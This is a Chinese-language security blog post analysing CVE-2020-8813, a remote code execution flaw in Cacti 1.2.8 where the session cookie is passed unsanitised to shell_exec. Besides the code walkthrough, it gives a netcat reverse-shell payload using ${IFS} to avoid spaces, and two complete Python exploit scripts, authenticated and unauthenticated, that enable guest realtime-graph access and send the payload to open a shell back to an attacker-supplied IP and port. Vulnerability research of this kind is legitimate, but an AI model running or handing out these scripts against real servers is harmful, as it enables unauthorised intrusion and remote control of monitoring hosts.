cacti lib/rrd.php rrdtoll 1343,CVE-2020-8813:Cactiv1.2.8身份验证远程代码执行漏洞分析 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联...

0x01  Cacti 介绍

Cacti是一个网络图形解决方案,利用RRDTool的数据存储和图形功能,Cacti提供了现成的高级图形模板,多种数据采集方法和用户管理功能。所有这些都封装在一个直观,易于使用的界面中。

0x02  漏洞分析

通过分析Cacti代码中的多个函数的代码发现了此漏洞,必须将多个因素联系在一起才能执行代码,该漏洞主要发生在攻击者尝试将恶意代码注入“ Cacti” cookie变量时,在与一些字符串连接后被传递给shell_exec函数,但是当尝试操作cookie值时会遇到身份验证问题,这将无法访问该页面,因此可以以如下方式访问易受攻击的页面:一个“Guest”,不需要身份验证即可访问它,因此编写漏洞利用代码以便为“ graph_realtime.php”页面启用“访客”页面,然后发出恶意请求在主机上执行代码。

为了完成这项工作,首先需要向“ user_admin.php”页面发送请求以启用realtime_graph的“Guest”特权,然后再次将恶意请求发送至“ graph_realtime.php”页面。

因此,编写了一个简单的RCE扫描器,可以在Cacti中寻找此RCE漏洞点。

运行脚本后,在“ graph_realtime.php”文件中得到了一个有趣的结果:graph_realtime.php

/* call poller */

$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';

170  $command   = read_config_option('path_php_binary');

171  $args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);

shell_exec("$command $args");

/* construct the image name  */

$graph_data_array['export_realtime'] = $graph_rrd;

$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;

$null_param = array();

在行号170和171中可以看到,接收几个参数并将它们连接在一起,还可以看到有一个名为“ get_request_var”的函数,该函数执行以下操作:html_utility.php

function get_request_var($name, $default = '') {

global $_CACTI_REQUEST;

$log_validation = read_config_option('log_validation');

if (isset($_CACTI_REQUEST[$name])) {

return $_CACTI_REQUEST[$name];

} elseif (isset_request_var($name)) {

if ($log_validation == 'on') {

html_log_input_error($name);

}

set_request_var($name, $_REQUEST[$name]);

return $_REQUEST[$name];

} else {

return $default;

}

}

该函数将通过“ set_request_var”函数处理输入并设置参数值,该函数将执行以下操作:html_utility.php

function set_request_var($variable, $value) {

global $_CACTI_REQUEST;

$_CACTI_REQUEST[$variable] = $value;

$_REQUEST[$variable]       = $value;

$_POST[$variable]          = $value;

$_GET[$variable]           = $value;

}

因此,回到“ graph_realtime.php”,可以看到可以控制以下几个输入:

·local_graph_id

·$ graph_data_array ['ds_step']的值

但不幸的是,由于以下几个原因无法做到这一点,首先,我们注意到graph_realtime.php文件中的第171行使用sprintf来处理输入,并且我们可以看到第一个值“ graph”有我们可以控制的值“ local_graph_id”!但是不幸的是,这个值将被一个名为“ get_filter_request_var”的函数过滤了,我们可以看到它的值已经在graph_realtime.php第38行中被过滤,如下所示:html_utility.php

function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {

if (isset_request_var($name)) {

if (isempty_request_var($name)) {

set_request_var($name, get_nfilter_request_var($name));

return get_request_var($name);

} elseif (get_nfilter_request_var($name) == 'undefined') {

if (isset($options['default'])) {

set_request_var($name, $options['default']);

return $options['default'];

} else {

set_request_var($name, '');

return '';

}

} else {

if (get_nfilter_request_var($name) == '0') {

$value = '0';

} elseif (get_nfilter_request_var($name) == 'undefined') {

if (isset($options['default'])) {

$value = $options['default'];

} else {

$value = '';

}

} elseif (isempty_request_var($name)) {

$value = '';

} elseif ($filter == FILTER_VALIDATE_IS_REGEX) {

if (is_base64_encoded($_REQUEST[$name])) {

$_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));

}

$valid = validate_is_regex($_REQUEST[$name]);

if ($valid === true) {

$value = $_REQUEST[$name];

} else {

$value = false;

$custom_error = $valid;

}

} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {

$valid = true;

if (is_array($_REQUEST[$name])) {

foreach($_REQUEST[$name] AS $number) {

if (!is_numeric($number)) {

$valid = false;

break;

}

}

} else {

$valid = false;

}

if ($valid == true) {

$value = $_REQUEST[$name];

} else {

$value = false;

}

} elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {

$valid = true;

$values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);

foreach($values AS $number) {

if (!is_numeric($number)) {

$valid = false;

break;

}

}

if ($valid == true) {

$value = $_REQUEST[$name];

} else {

$value = false;

}

} elseif (!cacti_sizeof($options)) {

$value = filter_var($_REQUEST[$name], $filter);

} else {

$value = filter_var($_REQUEST[$name], $filter, $options);

}

}

if ($value === false) {

if ($filter == FILTER_VALIDATE_IS_REGEX) {

$_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));

set_request_var($name, '');

raise_message('custom_error');

} else {

die_html_input_error($name, get_nfilter_request_var($name));

}

} else {

set_request_var($name, $value);

return $value;

}

} else {

if (isset($options['default'])) {

set_request_var($name, $options['default']);

return $options['default'];

} else {

return;

}

}

}

该函数将过滤输入并返回一个干净的变量以传递给该函数。

另外,对于第二个变量“ $ graph_data_array ['ds_step']”,它已经通过sprintf处理为%d,表示“十进制值”,因此不能使用它来注入恶意命令。

那么怎样才能起作用呢?再次看一下代码:graph_realtime.php

/* call poller */

$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';

$command   = read_config_option('path_php_binary');

$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);

shell_exec("$command $args");

/* construct the image name  */

$graph_data_array['export_realtime'] = $graph_rrd;

$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;

$null_param = array();

我们得到另一个传递给shell_exec的变量,它是“ session_id()”函数的值,该函数将返回用户当前会话的值,这意味着可以使用它来注入命令!

但是如果我们操纵了会话,则将无法访问该页面,因为该页面要求对用户进行身份验证才能访问该页面。因此,在软件中进行了一些额外的挖掘之后,发现如果我们能够以访客身份访问该页面启用“Realtime Graphs”的特殊特权,可以从此页面看到:

576fc56da4aaab23c7cbf3ee719be292.png

尝试在没有启用“Guest Realtime Graphs”特权的情况下访问此页面:

a4b0121d620a210fb7b77ae93517ce36.png

由于权限问题,我们无法访问该页面,不允许尝试启用它并访问该页面以获取以下内容:

baecb28f7839e82d4003cb2acf06dc99.png

完美的是,我们访问了页面,现在将向“ graph_realtime.php”发送请求,并将添加一条调试语句,该语句将回显将传递给shell_exec的参数:

dda500895dc4aa05c849cdd0874037ee.png

85744caba73a358062a247dd12d2f364.png

我们将会话打印输出,尝试将自定义字符串注入会话中,看看会发生什么:

db6ed5459062152f7f14586844c1d7e0.png

成功注入了自定义字符串!

0x03  漏洞利用验证

在控制了会话值之后,需要使用它来在系统上执行代码,但这仍然是一个会话值,这意味着即使对它进行编码也不能在其中使用某些字符,因们需要编写“session friendly” 的payload,可以注入payload而无需应用程序生成另一个Cookie值。

例如,如果我对字符串“ Hi Payload”进行编码并将其传递给应用程序,我将得到以下信息:

93e7962269a650c14e1641ef3db9632a.png

fc720712970059e0ec308ca2691bb47e.png

该应用程序设置了一个cookie而不是我们注入的cookie,因此要解决此问题,我们需要使用自定义payload。

为了避免使用空格,我想到了使用“ $ {IFS}” bash变量来表示空格。

当然,需要使用“;”转义命令 如下所示:;payload

如果要使用netcat获得shell,则需要创建以下payload:;``nc``${IFS}-e${IFS}``/bin/bash``${IFS}ip${IFS}port

尝试一下,首先对payload进行编码查看结果:

dc9af66f0f752fb1315b800a1f18bbe6.png

e373cde868eb926d9a280b6fba68ddee.png

然后将其发送到应用程序以获取以下信息:

507526f8762dc19cb47949986b41867b.png

f0c13d908e70eb100da7d333fd36f39e.png

payload成功反弹回来一个shell

0x04  自动化漏洞利用

为了自动执行漏洞利用过程,编写了python脚本来利用此漏洞,该漏洞利用将处理登录过程以启用“Guest Realtime Graphs”特权,然后将生成payload并将精心制作的请求发送至“ graph_realtime.php”页面为了获得反向shell。

这是完整的利用代码:#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Remote Code Execution

# Date: 03/02/2020

# Exploit Author: Askar (@mohammadaskar2)

# CVE: CVE-2020-8813

# Vendor Homepage: https://cacti.net/

# Version: v1.2.8

# Tested on: CentOS 7.3 / PHP 7.1.33

import requests

import sys

import warnings

from bs4 import BeautifulSoup

from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:

print("[~] Usage : ./Cacti-exploit.py url username password ip port")

exit()

url = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

ip = sys.argv[4]

port = sys.argv[5]

def login(token):

login_info = {

"login_username": username,

"login_password": password,

"action": "login",

"__csrf_magic": token

}

login_request = request.post(url+"/index.php", login_info)

login_text = login_request.text

if "Invalid User Name/Password Please Retype" in login_text:

return False

else:

return True

def enable_guest(token):

request_info = {

"id": "3",

"section25": "on",

"section7": "on",

"tab": "realms",

"save_component_realm_perms": 1,

"action": "save",

"__csrf_magic": token

}

enable_request = request.post(url+"/user_admin.php?header=false", request_info)

if enable_request:

return True

else:

return False

def send_exploit():

payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)

cookies = {'Cacti': quote(payload)}

requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

request = requests.session()

print("[+]Retrieving login CSRF token")

page = request.get(url+"/index.php")

html_content = page.text

soup = BeautifulSoup(html_content, "html5lib")

token = soup.findAll('input')[0].get("value")

if token:

print("[+]Token Found : %s" % token)

print("[+]Sending creds ..")

login_status = login(token)

if login_status:

print("[+]Successfully LoggedIn")

print("[+]Retrieving CSRF token ..")

page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")

html_content = page.text

soup = BeautifulSoup(html_content, "html5lib")

token = soup.findAll('input')[1].get("value")

if token:

print("[+]Making some noise ..")

guest_realtime = enable_guest(token)

if guest_realtime:

print("[+]Sending malicous request, check your nc ;)")

send_exploit()

else:

print("[-]Error while activating the malicous account")

else:

print("[-] Unable to retrieve CSRF token from admin page!")

exit()

else:

print("[-]Cannot Login!")

else:

print("[-] Unable to retrieve CSRF token!")

exit()

运行漏洞利用代码后将获得以下内容:

f6cc0a0fd36977344b5ec44db6bed7b7.png

再次弹回来一个shell!

0x05  未经身份验证的利用

如果Cacti启用了“Guest Realtime Graphs”特权,则无需身份验证即可利用此漏洞,因此,在这种情况下,不需要身份验证部分,可以使用以下代码来利用此漏洞:#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution

# Date: 03/02/2020

# Exploit Author: Askar (@mohammadaskar2)

# CVE: CVE-2020-8813

# Vendor Homepage: https://cacti.net/

# Version: v1.2.8

# Tested on: CentOS 7.3 / PHP 7.1.33

import requests

import sys

import warnings

from bs4 import BeautifulSoup

from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 4:

print("[~] Usage : ./Cacti-exploit.py url ip port")

exit()

url = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

def send_exploit(url):

payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)

cookies = {'Cacti': quote(payload)}

path = url+"/graph_realtime.php?action=init"

req = requests.get(path)

if req.status_code == 200 and "poller_realtime.php" in req.text:

print("[+] File Found and Guest is enabled!")

print("[+] Sending malicous request, check your nc ;)")

requests.get(path, cookies=cookies)

else:

print("[+] Error while requesting the file!")

send_exploit(url)

47f35601552dc0a7410340d323155d68.png

如果启用了“ Gest Realtime Graphs”特权,我们也可以利用它,因此最好检查“ graph_realtime.php”文件是否具有此访问特权。

在php7.2及更高版本中,漏洞利用可能无法按预期工作,因为php会从cookie值中过滤特殊字符,包括之前使用的字符。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值